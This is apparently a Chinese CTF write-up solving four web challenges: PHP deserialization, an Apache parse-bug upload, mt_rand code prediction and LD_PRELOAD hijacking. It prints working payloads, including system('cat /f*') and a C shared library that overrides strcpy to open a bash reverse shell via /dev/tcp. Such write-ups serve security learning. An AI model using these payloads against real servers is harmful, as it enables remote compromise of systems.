构造POC
class test{public $a;public $b;public $c;public function __construct(){$this->a=&$this->b;$this->b=2;$this->c="system('ls');";}}echo((serialize(new test())));
文章插图
文章插图
最终的payload
<?phpclass test{public $a;public $b;public $c;public function __construct(){$this->a=&$this->b;$this->b=2;$this->c="system('cat /f*');";}}echo((serialize(new test())));
ez_upload--apache解析漏洞文件上传也就是哪些方式 一个一个试就好apache解析漏洞 上传shell.jpg.php即可
文章插图
phonecode--mt_rand函数hint:你能猜到验证码吗? 猜测就是随机数预判
打开题目 根据提示 意思就是让我们猜验证码是什么
文章插图
我们先输入手机号和验证码试试 , 发现无论请求多少次 hint永远是895547922 , 结合mt_srand和mt_rand函数 当设置的种子确定(此处的种子时输入的手机号)时,每次的mt_rand都是固定的 我们可以猜测hint就是mt_rand的第一次,而目的验证码就是mt_rand的第二次
mt_srand(11111);echo mt_rand(); // 一直是恒定的echo mt_rand(); // 一直是恒定的echo mt_rand(); // 一直是恒定的
文章插图
我们写代码 弄出第二次的mt_rand
mt_srand(123);echo mt_rand()."\n";//895547922echo mt_rand()."\n";//2141438069
发现果然 第一次的mt_rand就是hint我们将code改为2141438069
文章插图
uploadandinject--LD_PRELOAD劫持打开题目发现有hint
文章插图
看看hint , 意思就是看看swp(Linuxvim产生的文件).index.php.swp或者看到swp扫描就好
文章插图
下载 可以看到源码 使用
vi -r index.php.swp
恢复文件内容$PATH=$_GET["image_path"];if((!isset($PATH))){$PATH="upload/1.jpg";}echo "<div align='center'>";loadimg($PATH);echo "</div>";function loadimg($img_path){if(file_exists($img_path)){//设置环境变量的值 添加 setting 到服务器环境变量 。环境变量仅存活于当前请求期间 。在请求结束时环境会恢复到初始状态 设置.soLD_PRELOAD设置的优先加载动态链接库putenv("LD_PRELOAD=/var/www/html/$img_path");system("echo Success to load");echo "<br><img src=https://www.huyubaike.com/biancheng/$img_path>";}else{system("echo Failed to load ");}}
而且我们笃定是有上传的网页的,限制了文件类型 我们想要上传的是so,但是LD_PRELOAD也能解析jpg后缀 所以修改后缀上传就可以文章插图
那么问题又来了 我们上传了so文件,怎么才能触发动态链接库的函数?可以看到下面有一个system函数 ,本地测试可以发现,system会调用/bin/sh
文章插图
所以我们写一个exp.c
#include <stdlib.h>#include <stdio.h>#include <string.h>void payload() {//反弹shellsystem("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");}char *strcpy (char *__restrict __dest, const char *__restrict __src) {if (getenv("LD_PRELOAD") == NULL) {return 0;}unsetenv("LD_PRELOAD");payload();}
编译成so文件 然后修改后缀为jpggcc -shared -fPIC exp.c -o exp.so
在upload/upload.php上传文章插图
然后在主页面访问,根据源码我们传递upload/exp_shell.jpg给image_path
//设置环境变量的值 添加 setting 到服务器环境变量 。环境变量仅存活于当前请求期间 。在请求结束时环境会恢复到初始状态 设置.soLD_PRELOAD设置的优先加载动态链接库putenv("LD_PRELOAD=/var/www/html/$img_path");// 执行函数 就会优先到我们LD_PRELOAD的指向的函数 反弹shellsystem("echo Success to load");
要先在攻击机上监听端口反弹shell成功
文章插图
推荐阅读
- 电脑无法启动开不了机怎么办(电脑能正常启动但是无法进入系统)
- 电脑无法开机进不了系统怎么解决(win10开机后假死黑屏)
- windows启动不了开不了机怎么办(笔记本无法启动windows)
- linux下开机启动443程序无法访问解决方法
- win10本地python第三方库安装成功,但是pycharm项目无法使用解决方案
- 微光互联 TX800-U 扫码器无法输出中文到光标的问题
- 如何在苹果商店下载应用(苹果商店无法下载软件)
- crondtab定时任务%字符无法识别的处理
- 送老婆礼物前十件排名,每个都是女人无法拒绝的,你知道吗
- 怎么解除游戏安全模式(游戏里安全模式无法解除)